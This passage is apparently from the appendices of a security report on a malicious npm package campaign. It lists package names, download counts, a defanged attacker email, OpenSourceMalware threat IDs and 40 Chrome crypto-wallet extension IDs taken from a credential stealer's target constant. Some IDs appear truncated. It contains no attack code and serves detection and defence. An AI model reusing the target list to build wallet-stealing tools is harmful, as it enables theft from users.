chain-metrica	2.4.5	2026-03-30T15:22:42Z	2026-03-30T15:34:06Z	<1h	BADC6	80	Robert King <hello@jsonspack[.]com>
chai-as-hooked	1.0.0	2026-03-25T18:23:29Z	2026-03-26T~18:00Z	<1 day	isillegion	0	hello@jsonspack[.]com
chai-as-redeployed	3.5.7	2026-03-26T23:20:29Z	2026-03-27T~18:00Z	<1 day	isillegion	0	hello@jsonspack[.]com
chai-extensions-extra	1.2.2	2026-03-31T09:27:20Z	2026-03-31T09:33:44Z	<1h	Vercel	0	Austin <hello@jsonspack[.]com>
DELETED TOTAL (15)						1,822	

GRAND TOTAL: 3,739 downloads across 27 packages.

Appendix E — Targeted Wallet Extensions

40 Chrome wallet extensions targeted by the ldbScript browser credential stealer. Extension IDs extracted from the `wps` constant in the deobfuscated `npoint[.]io` payload. The malware source contains only raw extension IDs with no wallet name labels — wallet names were resolved via the [Chrome Web Store](#) on 2026-04-02. Eleven extensions are currently unlisted (removed or delisted from the store).

#	Extension ID	Wallet (Chrome Web Store)
1	nkbihfbeogaeaoehlefnkodbefgpgknn	MetaMask
2	ejbalbakoplchlghecdalmeeajnimhm	(unlisted)
3	acmacodkjbdgmoleebolmdjonilkdbch	Rabby Wallet
4	bfnaelmomeimhlpmgjnjophhpkoljpa	Phantom
5	ibnejdfjmmkpcnlpebklmkoehiofec	TronLink
6	egjidjbpglichdcondcbdbnbeppgdph	Trust Wallet
7	nphplpgoakhjhckhkmiggakijnkhfnd	TON Wallet
8	omaabbefbmijedngplfjmnooppbclkk	Tonkeeper
9	bhhhlbepdkbapadjdnnojkbgioiodbic	Solflare Wallet
10	aeachknmefphecpcionboohckonoemg	Coin98
11	aflkmhkiijdbfcmhplgikgdeclgpoi	(unlisted)

12	agoakfejjabomempkjlepdlaleebhb	Core Wallet
13	aholpfdialjgjfhomihkjbmgiidldno	Exodus Web3 Wallet
14	afbcbjbpfpadlkmhmlhkeodmamcflc	MathWallet
15	cgbogmdfeihhljhfeffkljbgghamgni	(unlisted)
16	dmkamcknogkgcdfhbbddcghackejeap	Keplr
17	dlcobpjiiigpikoobohmabehhmhfoodbb	Ready Wallet (ex-Argent)
18	efbglgofoippbgcjepnhiblaibcncigk	Martian (Aptos/Sui)
19	ejjladinnckdgjemekebdpeokbikhfci	Petra (Aptos)
20	fhbohimaellbohpbjbbldcngcnapndodjp	(unlisted)
21	fhkbpkphfeanlhnlfkpkologfoccekhic	(unlisted)
22	fhmfgdgdcmcbmfikdcogofphimnkno	(unlisted)
23	fldfpgipfncgndfolcbkdeeknbhbnhcc	MyTonWallet
24	gjckgkfgmibbkoficdidcljeaaaheg	Atomic Wallet
25	hifafgmcddpekplomjjkcfgodnhcellj	Crypto.com Onchain
26	hmeobnfnfcmkdcmlbgagmfpfoieaf	Ctrl Wallet
27	hnfanknocfeofbddgciijnmhnfnkdnaad	Coinbase Wallet
28	jiidiaalihmhddjgbnbgdffeolocpak	Bitget Wallet
29	jblndlipeogpafnldhgmagccccfchpi	Kaia Wallet
30	jmbkjchcobfffnmjboflnchcbljiljdk	(unlisted)
31	jnjpmcgfcfeffkfgcnjefkbgcgnkpab	(unlisted)
32	kpkmbkkoifcfpamleipncofdbjdvice	(unlisted)
33	khpkpbbccddmmclmpigddabeilkdpd	Suiet (Sui)

34	ldinpeekobnhjjdofggfgjlcehmanaj	(unlisted)
35	lgmpcpglpngdoalbeoldeajfclnhafa	SafePal
36	mcophilncbfahbmgdjkbpemcciiolgce	OKX Wallet
37	mopnmbcafieddcagagdcbnhejhlodfdd	Polkadot.js
38	nklkfkfpehghbidbnpdfhblphpfjmbo	(unlisted)
39	penjlddjkgpnkllboccdgccepkcbin	OpenMask (TON)
40	ppbibelpcmhbdihakflkdcoccbgkpo	UniSat Wallet

OSM Submissions

All 27 packages in this campaign were reported to [OpenSourceMalware](#). `chai-as-hooked` and `chai-as-redeployed` were initially flagged at HIGH before the full campaign scope was established; the remaining 25 were submitted at CRITICAL after payload analysis confirmed a fully-decoded RAT.

Package	OSM Threat ID	Severity
<code>chai-as-hooked</code>	ea7777e3-2384-45f4-afeb-26a81b92728e	HIGH
<code>chai-as-redeployed</code>	2448023f-e17e-4156-9a09-e5562e294713	HIGH
<code>chai-as-adapter</code>	d883a0c2-4e36-4d11-92aa-c993408d94e8	CRITICAL
<code>chai-as-chain-v2</code>	c97f4942-d798-434c-b345-96771c92bff8	CRITICAL
<code>chai-as-encrypted</code>	fa54ad37-ccb5-4650-861c-7982bb4f8256	CRITICAL
<code>chai-as-evm</code>	2b02e755-c436-4ec2-9b7b-f9a8295e338b	CRITICAL
<code>chai-beta</code>	b1dbb38f-6c68-4239-aa93-10176c00d006	CRITICAL
<code>chai-chain-coremesh</code>	5bbe00e9-dbc5-49d4-a0b9-e1b28c9a7861	CRITICAL
<code>chai-extensions-extra</code>	68c90d7d-0b42-42a6-9384-1fc5c12b6207	CRITICAL
<code>chai-extensions-extras</code>	10429f1f-0dd3-4f22-b014-545d4f5934a5	CRITICAL
<code>chai-str</code>	b3326592-e040-4c5d-9b4d-1a7cb39c21a4	CRITICAL
<code>chai-use-chain</code>	2c9130eb-7a58-4b5f-a5b7-87f5c18ae0fd	CRITICAL

chain-metrica	aeef5131-108f-4ee2-8f77-1f0ee5ccca19	CRITICAL
chain-syncora	143c6466-83c6-4bb0-9f26-d48247b8ab0b	CRITICAL
coremesh	e05a43f0-3a2d-47ed-9387-8d3845c26d23	CRITICAL
coremeshnode	bba690a9-f7e2-4c71-b8a6-9ea558314def	CRITICAL
express-flowlimit	eb2026b8-3afa-4290-9bfe-d60ec01fa5ac	CRITICAL
gemini-ai-checker	b3166c75-c723-4911-a5a5-ec04268e04e5	CRITICAL
lockedin-chai-chain	9bba7c24-3856-45d4-b53b-e5a42839a8a3	CRITICAL
metrify-chain	096730bf-d26a-4e29-9481-e03fc93c2f00	CRITICAL
metrify-node	685a9230-1e14-4b82-8bc1-6281cff427fc	CRITICAL
node-metrica	6712d9a3-84f5-4252-91c4-8b8827fc643e	CRITICAL
node-syncora	578baac1-a282-4006-bd45-28a66587ec60	CRITICAL
relion-chain	c9949c1d-2807-4ce3-af5f-55921fd3c9e8	CRITICAL
relion-node	90f55ef1-5685-49c4-871b-e91eeaae28da	CRITICAL
trackora-chain	60b23a6a-0c85-45b6-9c76-d742caa016b8	CRITICAL
trackora-node	92c4988c-b8c7-42d1-9684-31d869c792cb	CRITICAL

Source: <https://panther.com/blog/jsonspack-multi-tenant-node.js-rat-%E2%80%94dprk-supply-chain-campaign>